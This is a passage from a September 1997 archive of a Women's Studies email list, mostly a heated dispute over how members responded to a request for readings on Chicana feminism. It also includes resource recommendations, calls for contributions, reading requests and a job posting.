is undergoing profound change under the impact of globalization. In turn, community members, women in particular, will benefit from the students' interest and respect for their experiences and, more tangibly, from the planned documentation suggested above. Course Themes The Debate about the Nature of Development * Changes in the context of development and of women's role in it, particularly with regard to gender analysis within rural development= ========================================================================= Date: Thu, 18 Sep 1997 13:41:15 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Chelsea Starr Subject: Re: reading carefully or selectively?? List-metaconversation Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" >Claire wrote:> >> Chelsea Starr is right on the money! I am increasingly disturbed by the >> extent to which people demonstrate both a careless reading of a post, and a >> willingness to use a few key phrases as a jumping-off point from which to >> launch their own agendas. It's disrepectful to the original poster. >> Chelsea's point about at least changing the heading to reflect an >> essentially new thread is well-taken. And Daphne's skill at distorting the >> meaning of a post never surprises me as much as does the fact that people >> continue to fall for it. I can see it now, in a future book, something >> along the lines of "" Women's studies faculty routinely sacrifice scholarly >> rigor in the interests of political correctness. Under intense pressure to >> ""teach inclusively"", teachers prepare for ""multi-cultural approaches"" by >> hastily adding articles culled from last-minute e-mail posts."" >> >> Or something along those lines. >> Let's please read one another's words as carefully as we expect our >> students to read. >> >> Claire O'Brien, ABD >> Department of History >> Southern Illinois University >> Daphne writes: >Why are Claire'simagined lines not, in fact, an accurate description >of the problem I was attempting to call attention to? Are people >pretending this does not in fact happen? As for reading carefully, >by now it seems to have become official that I did indeed suppose that the >original poster was not even going to READ the material suggested >to her by the list. That thought never crossed my mind and was >definitely NOT in my original response. Claire's posting has helped >the discussion descend further toward personal attacks. Another >fine moment in the history of feminist debates about serious issues >such as the nature of women's studies pedagogy. >Daphne > >-- >====================== >Daphne.Patai@spanport.umass.edu That post above illustrates Rhetoric 101: Deny the facts; Accuse the person who has the temerity to say anything; Make a sarcastic swipe at feminism. Deconstruction 101: Daphne's original post, in its entirety, the day after a request for articles on Chicana feminism: >>>Do people on this list really think it's a good form of teaching to >>>have teachers ""add"" a book about an area they know nothing about, i To know nothing about it means you can't have read it, am I right? In context as a reply to this thread, this is a swipe at the requestor, and at the list in general as it is asked in a rhetorical way. Also, since the request was not for a book, but an article, it shows a subtle re-defnition of the subject matter of the post. The language used -- ""really think"" is typical of sarcastic usage. >>>order to get the right racial/ethnic/etc. representation? When I You are putting words in Sharon's mouth. She didn't mention the right representation. She said she was looking for a relevant supplement. >>>consider the many years it's taken me to acquire competence in the >>>area of Brazilian studies, the prospect of someone ""diversifying"" >>>their teaching by a quick suggestion from an e-mail list makes me >>>shudder. This insult is so obvious I can't believe I have to point it out. You assume Sharon considers a quick post to the list the complete extent of her committment to teaching diversity. Also, the original post said the request was for an undergraduate intro course. You equate ""competence"" with ""years of study"". This is ageist. In addition, the competence required to use an article as a supplement in an undergrad introductory course does not require years anyway. >>>Good teaching requires a great deal more than this, I should >>>think. >>>====================== >>>Daphne.Patai@spanport.umass.edu And once again, without knowing anything about her, you imply (plausible deniability) that Sharon isn't a good teacher because she does the things you assumed in the previous sentence. If you wanted to speak in general terms, you should start a separate thread, not play these games. Nobody said that good teaching consisted of taking quick responses from email to add books with which one is not familiar. What we see here is not a reply to a post at all, but a rhetorical stragety designed to put list members on the defensive by having to disprove the polemic you've assumed. The reply (that Daphne said she didn't make), the day after Sharon's original request, with the same subject line, makes it clear it *was* in reply to the request for articles on Chicana feminism. Daphne, if you object, I think rather than insult Claire you need to look at how clear (or not) your posts are. There's a pattern and rhetorical strategy that you're using, and it doesn't contribute to clear communication on the list. I don't blame Jaime for saying ""give it a rest"". Enough is enough, and if we can't keep a level of debate that's somewhat civil and respectful, or at least to the point, then what's the use? The list becomes a wasted resource. I like the list; I like the people on the list; I think the list is valuable, and I think Women's Studies is valuable. I hate to see this wonderful resource disrupted--and here's the pattern that keeps coming up. List dynamics, chicana feminism thread: 1. Simple request for article posted 2. In response, concerns assuming the requestor isn't aware of race/pedagogy issues 3. Daphne's response, the day after the original request, reprinted in its entirety above, assuming the requestor won't read the material, and insulting her pedagogy. 4. Objections (by me and others) to the validity of making these assumptions; suggestions to be more accurate by re-labelling the subject line if the conversation has indeed drifted from the original request 5. Daphne replies to these requests denying the meaning of her reply; says she's being personally attacked. 6. New thread starts, defined by Daphne's ""outrage"". This happens over and over and over and over and over. Post. Polemic reply by Daphne. Replies to re-defined conversation has words, but not meaning, in common with original post. Posts objecting to dynamic. Daphne replies either ""slander"" or ""I didn't say it"". Possible variations: debate on silencing; flame wars; debate on p.c.ness. Daphne's use of email posts in past published work, out of context, in order to make negative generalizations about Women's Studies *should* be a red flag that this list *may* be being trolled for new material. I don't think it's fair to say that Claire has made a personal attack for pointing this out. To me, it feels like a power dynamic. Normally, I feel like everybody on the list is pretty supportive, and though we challenge each other, it's because we care about issues deeply, not out of grandstanding, hatefulness, or prejudice. Because this dynamic is present, I feel afraid to post anything, fearing it might appear out of context in Daphne's next book, and I feel that if I point out the rhetorical and power dynamics present, Daphne will threaten me (as she did earlier this year on the list) with the legal charge of slander. If there's anything wrong with women's studies it's this! When I see these dynamics, my pesky conscience makes me post about it. Maybe I'm idealistic, but then again, that's why I'm on this list. In conclusion, there are list dynamics present that make William's reply that [paraphrased] --pedagogy is a valid point of discussion, and we shouldn't tell Daphne to give it a rest-- worthy of deeper examination. Of course the issue of pedagogy is important, and several people said so. The PROBLEM is the list dynamic, where we need to be kinder to ourselves by being clearer in how we communicate. For example, Daphne *could* have said ""the recent post requesting articles on Chicana feminism made me wonder about how often Women's Studies professors find themselves having to make last-minute syllabi additions. Is there something about Women's Studies that encourages our wanting to, or having to, do that?"" I think THAT could have been a productive thread. Instead, we get Daphne creating a misunderstanding and them complaining with increasing nastiness that it's not her fault--and possibly (given her past record) using the resulting posts in the future to argue about how hopelessly divided Women's Studies is. How free and productive can list conversations be when this dynamic is present? So in conclusion--Daphne, hey Daphne--olive branch? Be clearer with us on the list, and then maybe you won't feel ""attacked""; and if you choose not to be clear and to the point then it will become obvious what you're doing--trolling the list and looking for flamewars. Cheers, Chelsea ==================================================================== Chelsea Starr, ABD | http://www.indieweb.com/orbit (Canis meus id comedit) | cstarr@orion.oac.uci.edu Social Relations, University of California, Irvine ==================================================================== ========================================================================= Date: Thu, 18 Sep 1997 17:28:09 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: WHAT'S IN A NAME? In-Reply-To: <26F82841B8A@library.mhc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" It might help to clarify that the title 'Women's Studies' of a program does not denote or conote the exclusion of men as students any more than a title such as 'Latin American Studies' or 'South Asian Studies' suggests that students who weren't born in those areas or whose parents, etc. are not welcome. Like those, Women's Studies is a scholarly field for intellectual study, which can, adminstrators and students often want to be assured, lead to professional specialization. Does experience as a woman count? Well, does experience as a South Asian count in a South Asian Studies program? Given the diversity of thought and practice to be studied, what's important is the seriousness of intent in the courses. You're right, Betty, Gender Studies is something different from WS. I often think it's too bad we didn't establish the precedent of 'Feminist Studies' as the title. Hope this helps. beatrice bkachuck@cuny.campus.mci.net At 08:23 AM 9/16/97 -0400, you wrote: >MEMBERS OF THE LIST > >I'm here once again to ask for your help. My small liberal arts, >historically Baptist college, is on the verge of having a Women's ========================================================================= Date: Thu, 18 Sep 1997 17:20:53 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeanette Clausen Subject: call for contributions MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Call for contributions--please respond to one of us privately, NOT to the list. MEN WHO ARE REALLY GOOD IN BED AND THE WOMEN WHO THINK THIS IS ENOUGH. Does the above title strike a chord with you? Would you like to read a book with this name? Would you like to contribute to one? If your answer to these three questions is yes, why not send us some material? Insights, anecdotes, musings, aha-experiences or ""clicks,"" poems, cartoons, stories, and many other genres are welcome. Of course, both women and men are invited to reply, from any perspective. Original material only, please. If you are interested, please contact one of us by November 15, 1997 with your contribution or proposal/brief description of what you have in mind. Brenda Cappuccio Jeanette Clausen Spanish Modern Foreign Languages Florida State Univ. Indiana U. - Purdue U. bcappucc@mailer.fsu.edu clausen@ipfw.indiana.edu ========================================================================= Date: Thu, 18 Sep 1997 18:21:53 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: favnet In-Reply-To: <199709182007.QAA26477@umd5.umd.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 18 Sep 1997, Mary Faith Pankin wrote: > A student would like information on subscribing to this list which she > thinks stands for feminists against violence, or to other lists about > violence against women and battered women's shelter. > You may reply to me privately and I can forward the information to her. I'm replying publicly because the info I'm providing may be of interest to many people looking for women- or gender-related lists. I maintain a frequently-updated, annotated listing of more than 300 such email lists called Gender-Related Electronic Forums. In addition to the main listing, it contains 14 topical sub-sections to make it easier to find lists in areas such as Activism, Arts & Humanities, Health, Science & Technology, etc. The overall URL is http://www.umbc.edu/wmst/forums.html . If you don't have access to the web, you can get a version via e-mail by sending the message GET OTHER LISTS to LISTSERV@UMDD.UMD.EDU . FAVNET is included in the main listing and in the Activism sub- section. Here's what the entry says: FAVNET (Feminists Against Violence Network) is a women-run, moderated list dedicated to ending domestic violence and violence against women through networking and direct action in a feminist environment. Counselors, legal advocates, survivors, feminists, and profeminist women and men who seek to redress violence against women are welcome. To subscribe, send the message SUBSCRIBE FAVNET to MAJORDOMO@OTD.COM . Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc.edu * * University of Maryland, Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Thu, 18 Sep 1997 18:32:24 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joe Amato/Kass Fleisher Subject: anti-oppression training Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" to your list you might add lee mun wah, a ""diversity counsellor"" who works out of the l.a. area but does workshops of varying lengths, typically for government organizations, schools, and corporations. he was featured in 1995 on the ""oprah"" show, which served to boost his business wildly (his company is called stir fry productions), and so you can book him or one of his many counsellors. typically he or his staff member shows one of his films and then conducts a workshop asking participants to talk to each other and to the group at large about their feelings regarding racism, sexism, heterosexism, elitism, etc. his first film, called ""the color of fear,"" is a tremendously moving work that documents a weekend-long encounter session between men of diverse backgrounds. last i heard, a film specifically about women was in the works. as folks have been suggesting -- yes, it was my experience that his visit, which was very expensive for us, did not solve everything. not even close. but lee himself was a warm and very smart person, and it was a high-impact experience no one there will forget. used along with follow-up programs (i would strongly encourage you to have these already in place -- we did not) it could be a great start. good luck, kassie fleisher amato@charlie.cns.iit.edu ========================================================================= Date: Thu, 18 Sep 1997 20:14:37 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Teresa Macias Subject: Re: I was Chicana Feminism In-Reply-To: <970918123625_-364512699@emout10.mail.aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am not even sure why I am bothering posting this, but I am growing increasingly frustrated with some of the comments that have originated out of the Chicana Feminism discussion. The argument about the issue of the inclution of Chicana feminist writing into WS introdutory course has degenerated into personal attacks that remind me a great deal of another discussion that took place on this list not even two month ago (I think it was regarding sexual harrasment). It must be because the players are the same and the comments made are extremelly reminicent. I find this typical of mainstream feminism to revolve around personal attacks when an issue turns challenging. I do not want to attack or support Daphne, Claire, Chasea or anybody else who had participated in this discussion because I feel that everybody has lost the focus of the original issue. When I responded to some of the commnets originally made in response to the request for Chicana feminist literature I did it because I thought this was a great opportunity to reflect on the content and pedagogy of WS in regards to Chicanas and Latinas. I did not assume that the person making the origibal request did not know anything about Chicana Issues, neither did I support Daphne's response to the request because I felt both implied a greater challenge in regards to Chicana and Latina Issues as well as, WS in North America and its Eurocentric, colonial and imperial implications. The questions of whether or not Chicana Feminism should be included within WS curricula, under what conditions should that inclution take place and who would be better prepared to engage in this inclution are still valid questions. Further, the fact that there are not enough ""full blown"" Chicana and/or Latina accademics teaching in WS even though we have been recognized as a second mayority group in North America is stiull an issue wothwhile to undertake. At this point I feel extremelly desillusioned because we have lost an opprtunity to acquire a greater understanding of the complexities surrouinding the issue of Chicana/Latina Stusies, ""experiential"" vs ""theoretical"" feminist writing as well as, the complex interrelations of gender, class and race that detrmine the uniqueness of the experince of Latinas in a way that, as it became evident from some of the postings, place us, Latinas, at different sides in regards to issues concerning WS, development, feminism, etc. Further, we have lost an opportunity to reflect on the issue of WS teaching and pedagosy as well as on the implications and complexities of teaching inclusivelly. I would like to call atention to this lost and to the fact that by engaging in the kind of exchange that has been taking place many women of color, not only Latinas, though I include myself, may feel silenced and unable to bring our points of view into the discussion. Teresa Macias Sociology and Equity Studies Ontario Institute for Studies in Education University of Toronto tmacias@oise.utoronto.ca ========================================================================= Date: Thu, 18 Sep 1997 19:46:55 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Crystal Kile Subject: Re: I was Chicana Feminism In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII (RESPONSE BELOW FOR CLARITY'S SAKE. PLS SCROLL DOWN.) On Thu, 18 Sep 1997, Teresa Macias wrote: > The argument about the issue of the inclution of Chicana feminist > writing into WS introdutory course has degenerated into personal attacks > that remind me a great deal of another discussion that took place on this > list not even two month ago (I think it was regarding sexual harrasment). > It must be because the players are the same and the comments made are > extremelly reminicent. > I find this typical of mainstream feminism to revolve around personal > attacks when an issue turns challenging. I do not want to attack or > support Daphne, Claire, Chasea or anybody else who had participated in > this discussion because I feel that everybody has lost the focus of the > original issue. > When I responded to some of the commnets originally made in response > to the request for Chicana feminist literature I did it because I thought > this was a > great opportunity to reflect on the content and pedagogy of WS in regards > to Chicanas and Latinas. Well, yeah. I think the turn of this whole, um, discussion, orbits around the question of ""expertise,"" the value of carefully vetted scholarly ""authority,"" and the importance of some ""approved list"" of readings in women's studies (or any other field). A perceived lack of some combo of all three (i.e., ""RIGOR"") is what really concerns some people about WMST and other interdisciplinary studies, fairly or not. That's how I read Daphne's remark re: ""When I think of all the time I've spent becoming an expert on Brazillian women, etc"" (paraphrase). While getting/having ""credit in the straight world"" (to borrow a phrase from a Hole song) that still sees women's studies as somehow illegit is a real concern in what we'll just call ""Academia Today,"" it's still important for women's studies people to be evermindful of the border-y nature of our project. We may not be ""EXPERTS"" on an article or topic the first time we teach it, but making an honest and protracted effort to widen the topical scope of our courses AND thereby widen the frame of reference for making conceptual linkages is an important risk to take, especially in women's studies, a site where we're supposed to (at least the way I understand it) be upfront about the production and dissemination of ""knowledge"" and ""scholarship."" One of the hardest parts of this is avoiding the intellectual tourism phemomenon of ""This week, Chicana feminism -- next week, transsexual cat fanciers..."" (insert laugh here, you irony-impaired folks!) is a big challege, and one which should be foregrounded in courses as a way of pointing up how loathesomely hegemonic most curricula elsewhere in the academy ARE. Think about how it always pisses you off when some fatcat guy prof asks you for ""an article or two that will allow me to include 'the women's perspective' into my popular course on WWII diplomacy"" and know he'll use that ""inclusion"" to pat himself on the back in faculty meeting or EVEN list himself as an ""expert"" on ""WOmen's perspectives on WWII diplomacy."" Of course one should not assign stuff w/o reading it first. I had a self-styled ""ALpha Academic Male REsearcher"" music history prof once who, in an act of what I will always regard as utter contempt for us grad students in a pop musicology seminar, assigned a bunch of freakin' books he'd never read but wanted to read ""with us"" ( A real love me, I'm ""Mr. Open"" move) b/c he suspected they (and the pickings of our active little brains) might be valuable to him in his current ""research"" (and I use that term lightly). He did this with his undergrads, too. It was a disaster of epic proportions and led to student revolt and nasty feelings on both sides. So, yeah. There are BAD IRRESPONSIBLE BAD BAD teachers out there. On the other hand, I've had many good experiences reading brand spanking new journal articles with/in classes inside and outside women's studies. It just means that the ""teacher"" has to be open to ""learning"" naked in front of her/his students. OF *COURSE* IT's REALLY HOT TO EXPERIENCE (OR BE) A TEACHER PROFESSING HER/HIS ""THING,"" but even the most intoxicating rootbound houseplants get yellow spots and DIE. Just some rambly thoughts. CK Crystal Kile ckile@mailhost.tcs.tulane.edu http://www.tulane.edu/~wc/ and various other points Web ""We are living through a movement from an organic, industrial to a polymorphous, information system -- from all work to all play: a deadly game."" -- Donna Haraway ========================================================================= Date: Thu, 18 Sep 1997 20:34:42 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: liora moriel Subject: Re: call for contributions Comments: To: Jeanette Clausen In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The CFP about the proposed book ""MEN WHO ARE REALLY GOOD IN BED AND THE WOMEN WHO THINK THIS IS ENOUGH."" reminds me that I need urgently citations for this idea (which a male editor is questioning about a soon-to-be-published paper of mine): WOMEN SOMETIMES FAKE ORGASMS. I've known this all my life and have talked with countless women about this; I've seen it in books BUT a search for ""faked orgasm"" does not result in any ""hits"" and even MEDLINE has only ONE article about this (a recent German study) since 1985... If this is not a private delusion, :-) please help me out. Thanks. Liora Moriel Comparative Literature Program University of Maryland 2107 Susquehanna Hall College Park, MD 20742-8825 lioram@wam.umd.edu ""We have cooperated for a very long time in the maintenance of our own invisibility. And now the party is over."" - Vito Russo ========================================================================= Date: Thu, 18 Sep 1997 20:42:41 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: liora moriel Subject: Survey Courses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The recent messages about inclusion exclusion seclusion of Chicanas in survey courses, like many others, involves both pedagogical and polemical input. As someone who passes for mainstream but has forever been Others (several) I try to be aware of such sensitivity and be honest in constructing a syllabus. However, in any survey course on, say (what I teach) World Literature by Women, one cannot do justice to all women everywhere throughout herstory/history. So it would be interesting perhaps to discuss criteria for bringing cohesion to survey courses without getting into the ""add XYZ and stir"" model. Liora Moriel Comparative Literature Program University of Maryland 2107 Susquehanna Hall College Park, MD 20742-8825 lioram@wam.umd.edu ""We have cooperated for a very long time in the maintenance of our own invisibility. And now the party is over."" - Vito Russo ========================================================================= Date: Thu, 18 Sep 1997 16:57:18 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Ellen M. Gil-Gomez"" Subject: Re: reading carefully or selectively?? List-metaconversation In-Reply-To: <199709182040.AA10169@e4e.oac.uci.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm sorry to perhaps beat a dead horse here but perhaps reacting to issues of minor importance to a pragmatic posting is important in bringing up related issues of interest to all? Could we perhaps take the personal ""assumed"" perspective out of these kinds of responses and try to consider the issues generally? I think many people have mentioned useful things about feminism, pedagogy, cultural perspectives, inclusiveness etc. It seems to me they're relevant unless we just encourage bantering between a few people about misunderstanding and miscommunication? *************************** Ellen M. Gil-Gomez Assistant Professor of English Russell Sage College Troy, NY 12180 gilgoe@sage.edu ========================================================================= Date: Thu, 18 Sep 1997 19:13:21 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah A. Elliston"" Subject: young women & feminism Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I have a student who wants to write her senior thesis on young women and feminism. Does anyone have recommendations for works which might be useful to her as she tries, this semester, to develop more specific questions within this general topic? Thanks in advance for any help. Please respond privately. Best, Deborah A. Elliston Visiting Professor Anthropology Department Cornell University 264 McGraw Hall Ithaca, New York 14853 E-mail: dae13@cornell.edu ========================================================================= Date: Thu, 18 Sep 1997 23:46:36 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Homer Subject: Re: call for contributions MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I imagine these contributions will require quite a bit of research. Liz homer Jeanette Clausen wrote: > > Call for contributions--please respond to one of us privately, NOT to the list. > > MEN WHO ARE REALLY GOOD IN BED > AND THE WOMEN WHO THINK THIS IS ENOUGH. > > Does the above title strike a chord with you? Would you like to > read a book with this name? Would you like to contribute to one? If your > answer to these three questions is yes, why not send us some material? > Insights, anecdotes, musings, aha-experiences or ""clicks,"" poems, cartoons, > stories, and many other genres are welcome. Of course, both women and men > are invited to reply, from any perspective. Original material only, > please. If you are interested, please contact one of us by November 15, > 1997 with your contribution or proposal/brief description of what you have > in mind. > > Brenda Cappuccio Jeanette Clausen > Spanish Modern Foreign Languages > Florida State Univ. Indiana U. - Purdue U. > bcappucc@mailer.fsu.edu clausen@ipfw.indiana.edu ========================================================================= Date: Fri, 19 Sep 1997 06:50:33 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""N. Benokraitis"" Subject: Re: reading carefully or selectively?? List-metaconversation In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII On Thu, 18 Sep 1997, Ellen M. Gil-Gomez wrote: > I'm sorry to perhaps beat a dead horse here but perhaps reacting to > issues of minor importance to a pragmatic posting is important in > bringing up related issues of interest to all? Could we perhaps take the > personal ""assumed"" perspective out of these kinds of responses and try to > consider the issues generally? I think many people have mentioned useful > things about feminism, pedagogy, cultural perspectives, inclusiveness etc. > Amen. I don't know Daphne and don't always agree with her perspectives (whether in books, editorials in the Chronicle of Higher Education, or messages on WMST-L). I do appreciate, however, her ""listening to a different drummer"" voice. Her observations may be critical, but I find them legitimate and worthy of discussion. As Ellen Gil-Gomez and a few others note, for example, such issues as pedagogy and the ease (or difficulty) of including myriad cultural perspectives in a WS or WS-related course are important and ongoing (at least for me and I've been teaching for almost 30 years). In a similar vein, I was interested in the comments by the subscriber who felt that much of the Chicana/Latina research is embryonic (experiential and anecdotal rather than ""empirical""). I agreed but didn't see the comment, unlike some subscribers, as negative. Instead, I thought it was a useful observation that might generate some grant-writing and (especially quantitative) research. Like it or not, policy makers rarely pay attention to qualitative research (except when conducted and disseminated by a handful of PRIVILEGED male scholars--white, black, and Latino). During the 3-4 years I've subscribed to WMST-L, there have been a number of overt and implied ""attacks"" of perspectives, theories, pedagogical approaches, and sundry messages. Usually, and especially if the attacks seem to represent the majority of WMST-L opinions (expressed or assumed), either the personal assaults were ignored by the targets or someone on the list rephrased the volley and converted it to a larger issue. It seems to me that the same should be done with Daphne's messages--ignore what you think is personal but consider the larger issues. Same with other seeming ""contrarians"" who might raise unpopular but thoughtful, at least imho, questions. niki Benokraitis, Sociology, U of Baltimore nbenokraitis@ubmail.ubalt.edu ========================================================================= Date: Fri, 19 Sep 1997 00:34:18 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: Support for new teachers. Comments: To: Elizabeth Ann Kilgore In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Beth, you might try ""Peaceable Classroom"" by Mary Rose O'Reilly. Good for faculty conversation. Read with hooks, would make a powerful combination. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Fri, 19 Sep 1997 08:01:51 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Lisa Weiner Subject: Re: Anti oppression training in the workplace You also may want to consider the following resources: 1. Joanie Mayer and Elesha Miranda. They are a fantastic anti-oppression training team located in Bolder Colorado. I am a community organizer who has attended many many conferences and workshops. Their's was the best 3 day workshop on oppression AND power that I have ever been to. They can be contacted at EMMIRANDA@aol.com. 2. I would also recommend contacting The People's Institute in New Orlenes at 504-944-2354. Lisa Weiner-Mahfuz LMWeiner@aol.com ___________________ On Wed, 17 Sep 1997, Barbara Taylor wrote: > The National Coalition Building Institute does good workshops and > train-the-trainer sessions that start from the ways in which each of us > feels different and, as a result, sometimes oppressed. Their exercises are > non-threatening but powerful. Theor phone # is (202) 785-9400. > > At 07:30 PM 9/17/97 -0400, you wrote: > > I am on an internal committee at my Health Department(at which I > >am a community health nurse), called Together Against Oppression. Last > >year we put on a senior staff sanctioned mandatory workshop on homophobia > >and heterosexism. I could say alot about that, but the point of this > >request for input is now we are planning to do antioppression/diversity > >training ... sort of like oppression 101. Has anyone done this kind of work? > >What works best? I'm stressing over the thought of a workshop, we all > >know that this does little if anything to enable attitudinal shifts. The > >audience would be community health nurses, health inspectors, community > >development workers, health promoters, supervisors, and support staff. > >The primary audience is baccalaureate prepared nurses. > > > > Any guidance, insights , suggestions, and direction would be helpful. > >Thankyou in advance, Cheryl. > > ========================================================================= Date: Fri, 19 Sep 1997 08:25:55 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""dbic6066@uriacc.uri.edu"" Subject: Re: young women & feminism Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Although Deborah asked for private replies, my message to her was kicked back twice as undeliverable -- I apologize in advance for sending this to the list. To: dael3@cornell.edu From: dbic6066@uriacc.uri.edu (dbic6066@uriacc.uri.edu) Subject: young women & feminism Deborah: You have probably thought already about *Listen Up: Voices of the Next Generation* ed Barbara Findlen, and *To Be Real* ed. Rebecca Walker. Lisa Hogeland also had an article in Ms. a few years ago called ""Fear of Feminism"" which speculated on the reasons that many young women are disinclined to identify w/feminism. Our local artsy paper *The Providence Phoenix* had a recent article called ""Lipstick Liberation"" which poked holes in the arguments of the antifeminist feminists of the third wave -- i.e. Roiphe, et al. If you think that article is something your student might find of interest, I'd be happy to forward a copy via snail mail. It is my understanding that a recent issue of *Hypatia* focused on third wave feminism -- but since our lousy library doesn't subscribe, I can't confirm that :) Donna M. Bickford dbic6066@uriacc.uri.edu Department of English and Women's Studies Program University of Rhode Island Kingston, RI 02881 ========================================================================= Date: Fri, 19 Sep 1997 08:22:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""TERRY TOMKINS-WALSH, DEPARTMENT OF ANTHROPOLOGY, UNIVERSITY OF HOUSTON"" Subject: Re: teaching with narratives MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT please reply to list also, thanks ========================================================================= Date: Fri, 19 Sep 1997 09:01:59 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Claire O'Brien Subject: Another Fine Momment, or reading selectively Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Dapne Patai wrote: < Claire's posting has helped the discussion descend further toward personal attacks. Another fine momment in the history of women's studies pedagogy > Daphne Patai laments the pedagogical descent prompted by what she terms my personal attacks: one more opportunity for a serious scholarly conversation derailed by yet another myopic feminist. Meanwhile, I consider the smart, articulate women who have emailed me privately in response to my post, explaining their reasons for NOT responding to Daphne - and I lament the many Fine Momments we will NEVER experience because the dynamics of this list have, in fact, produced a ""culture"" of self-censorship: and yes, Daphne - you have played a - dare I say it? - seminal role in the shaping of that culture. Ironic, as one of your fundamental critiques of feminist scholarship is its built-in self-censorship. An insult? I think you are smarter and tougher than that. On a related, but slightly separate note: when I consider the shoddy, flawed, and self-serving body of scholarship represented by so much of the historiography in my own fields of United States history - and then compare it to the heroic accomplishments of feminists and other revisionist fellow travellers dating from the 1960s, and continuing to the present: well, all I can say is "" Halleluia "". Mistakes, biases, naivete and all: wow, have we done a better job! Most of the historical profession acknowledged this debt to feminist scholarship long ago. I'm not quite sure what's going on in your field, Daphne, but I suspect the scenerio there is much the same as it is in history. So many scholars, and all of us so wrong about so much ....... Claire _________________ Claire O'Brien, ABD Department of History Southern Illinois University cobrien@siu.edu ========================================================================= Date: Fri, 19 Sep 1997 09:49:34 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheryl Nestel Subject: Job opening - Feminist/Anti-Racist scholar MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII List members may be interested in the following job opening. -------------------------------------------------------------------- SHERYL A NESTEL Department of Sociology and Equity Studies OISE/University of Toronto snestel@oise.utoronto.ca http://www.oise.utoronto.ca/~snestel/index.html - -> Ontario Institute for Studies in Education > of the University of Toronto (OISE/UT) > > > Applications are invited for a tenure-stream position in the combined > areas of Anti-Racism and Feminist Studies in Education in OISE/UT's > Department of Sociology and Equity Studies in Education. Preferred > candidates will possess a doctoral degree in sociology or a cognate > discipline and have a proven record of scholarly publication. > > Responsibilities of the position include research, teaching at the > graduate and preservice teacher education levels, and supervision of > master's and doctoral theses. Rank and salary will be commensurate > with qualifications and experience. The appointment will commence on > July 1, 1998. > > Applications must include full curriculum vitae and the names and > addresses of three or more referees. Applications should be submitted > by November 15, 1997 to Professor Michael Fullan, Dean, OISE/UT, 252 > Bloor St. W., Toronto, Ontario, M5S 1V6. In accordance with its > Employment Equity Policy, the University of Toronto encourages > applications from qualified women and men, members of visible > minorities, aboriginal peoples, and persons with disabilities. In > accordance with Canadian immigration requirements, this advertisement > is directed to Canadian citizens and permanent residents of Canada. > ========================================================================= Date: Fri, 19 Sep 1997 10:12:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mollie Whalen Subject: PAQ Comments: To: POWR-L MIME-Version: 1.0 Content-Type: text/plain I see from my notes last year (Psych of Women course) that I passed out the ""PAQ"" in class. Well, now I can't find the PAQ or remember what it is. (The week's topic has something to do with sex differences in personality; personality theory, including androgyny). Chalk it up to age. Help. Mollie Whalen mwhalen@po-box.esu.edu ========================================================================= Date: Fri, 19 Sep 1997 10:57:40 -0400 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Disengagement = Liberation Listmembers: Why are we wasting our time trying to have a reasoned conversation with an ideologue? This is exactly what Daphne wants - our time, our energy, our engagement. I don't believe in censorship. She has a right to her opinions. Please, she's got a HUGE forum for them; I don't want to cede this one. I suggest that we simply withdraw our energy; refuse to take the next bit of rhetorical bait. I, for one, have made a decision to delete any posting that comes up on my list from her. And I will also delete any discussion that becomes a thread off of her posts. Life is short. Mine is too precious for this stuff. (And that's J-A-I-M-E for the next book.) Jaime M. Grant Director Center for Women The Union Institute ========================================================================= Date: Fri, 19 Sep 1997 11:18:33 -0400 Reply-To: ""Vera M. Britto"" Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: Another Fine Momment, or reading selectively In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 